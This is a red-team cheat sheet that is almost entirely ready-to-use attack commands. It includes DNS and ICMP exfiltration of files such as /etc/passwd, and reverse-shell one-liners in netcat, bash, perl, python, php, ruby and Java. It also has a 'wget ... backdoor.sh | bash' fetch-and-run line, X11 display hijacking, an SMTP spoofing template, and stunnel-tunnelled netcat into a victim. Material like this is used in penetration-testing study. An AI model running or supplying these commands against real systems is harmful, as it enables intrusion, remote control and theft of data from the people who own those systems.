Red | Tips and Tricks

echo open <IP_ADDRESS> 21 > ftp.txt
echo <USERNAME> >> ftp.txt
echo <PASSWORD> >> ftp.txt
echo bin >> ftp.txt
echo GET <FILE_PATH> >> ftp.txt
echo bye >> ftp.txt
ftp –v -n -s:ftp.txt

# [On Victim] -- Hex encode the file to be transferred:
xxd -p secret > file.hex

# [On Victim] -- Read in each line and do a DNS lookup:
for b in `cat file.hex `; do dig $b.shell.evilexample.com; done

# [On attacker] -- Capture DNS exfil packets:
tcpdump -w /tmp/dns -s0 port 53 and host system.example.com

# [On attacker] -- Cut the exfilled hex from the DNS packet:
tcpdump -r dnsdemo -n | grep shell.evilexample.com | cut -f9 -d' ' | cut -f1 -d'.' | uniq > received.txt

# [On attacker] -- Reverse the hex encoding:
xxd -r -p < received.txt > keys.pgp

# [On victim]
stringZ=`cat /etc/passwd | od -tx1 | cut -c8- | tr -d " " | tr -d "\n"`; counter=0; while (($counter <= ${#stringZ}));do ping -s 16 -c 1 -p ${stringZ:$counter:16} 192.168.10.10 && counter=$((counter+16));done

# [On attacker] -- capture packets to data.dmp and parse
tcpdump -ntvvSxs 0 'icmp[0]=8' > data.dmp
grep 0x0020 data.dmp | cut -c21- | tr -d " " | tr -d "\n" | xxd -r -p

telnet <IP_ADDRESS> 25
HELO
MAIL FROM:<EMAIL_ADDRESS>
RCPT TO: <EMAIL_ADDRESS>
DATA
Thank You.
.
quit

# Linux reverse shell
nc <IP_ADDRESS> <PORT> -e /bin/sh

# Windows reverse shell
nc <IP_ADDRESS> <PORT> -e cmd.exe

# Netcat work-around when –e option not possible
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <IP_ADDRESS> <PORT> >/tmp/f

perl -e ‘use Socket; $i="<IP_ADDRESS>"; $p=<PORT>; socket(S,PF_INET, SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){ open(STDIN,">&S");open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i");};’

# Perl without /bin/sh
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"<IP_ADDRESS>:<PORT>");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

# Perl for Windows
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"<IP_ADDRESS>:<PORT>");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

python -c ‘import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("<IP_ADDRESS>",<PORT>)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);’

bash -i >& /dev/tcp/<IP_ADDRESS>/<PORT> 0>&1

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<IP_ADDRESS>/<PORT>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

php -r '$sock=fsockopen("<IP_ADDRESS>",<PORT>);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby -rsocket -e'f=TCPSocket.open("<IP_ADDRESS>",<PORT>).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

# Ruby without /bin/sh
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("<IP_ADDRESS>","<PORT>");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

# Ruby for Windows:
ruby -rsocket -e 'c=TCPSocket.new("<IP_ADDRESS>","<PORT>");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

telnet <IP_ADDRESS> <PORT> | /bin/bash | telnet <IP_ADDRESS> <PORT+1>

# Start Listener (Listens on port 6001)
xnest :1

# Add permission to connect
xhost +<IP_ADDRESS>

# Telnet
xterm -display <IP_ADDRESS>

wget -O- http://<IP_ADDRESS>:<PORT>/backdoor.sh | bash

# Listen on port 1234 and forward to 2.2.2.2 on port 80
fpipe.exe -l 1234 -r 80 2.2.2.2

# Listen on port 1234 and forward to 2.2.2.2 on port 80
socat TCP-LISTEN:1234,fork TCP:2.2.2.2:80

# (Listening Server) -- Generate SSL certificate
openssl req -new -x509 -days 365 -nodes -out stunnel.pem -keyout stunnel.pem

# (Listening Server) -- Modify stunnel configuration
# Modify /stunnel.conf
client = no
[netcat server]
accept = 4444
connect = 7777
cert = /etc/stunnel/stunnel.pem

# (Listening Server) -- Run stunnel
sudo stunnel ./stunnel.conf

# (Attacker) -- Modify stunnel configuration
# Modify /stunnel.conf
client = yes
[netcat client]
accept = 5555
connect = <LISTENING_IP>:4444

# (Attacker) -- Run stunnel
sudo stunnel ./stunnel.conf

# (Listening Server) -- Listen for netcat connection
nc -vlp 7777

# (Attacker) -- Connect into victim computer via netcat
nc -nv 127.0.0.1 5555